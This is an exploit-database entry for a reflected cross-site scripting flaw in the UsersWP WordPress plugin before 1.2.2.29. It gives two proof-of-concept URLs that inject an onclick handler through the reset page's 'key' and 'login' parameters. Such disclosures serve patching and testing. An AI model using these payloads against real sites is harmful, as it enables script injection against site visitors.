Exploit for UsersWP < 1.2.2.29 - Reflected Cross-Site Scripting

Name: Exploit for UsersWP < 1.2.2.29 - Reflected Cross-Site Scripting
Rating: 5 (287 reviews)

2021-09-06 | CVSS 0.7

## https://sploitus.com/exploit?id=WPEX-ID:D0434659-4E25-4B2B-872F-29A9055E5DAB
On the reset page made by the plugin:

https://example.com/reset/?key=a&login=%22accesskey=X%20onclick=alert(1)%20b=%22
https://example.com/reset/?key=%22accesskey=X%20onclick=alert(1)%20b=%22&login=a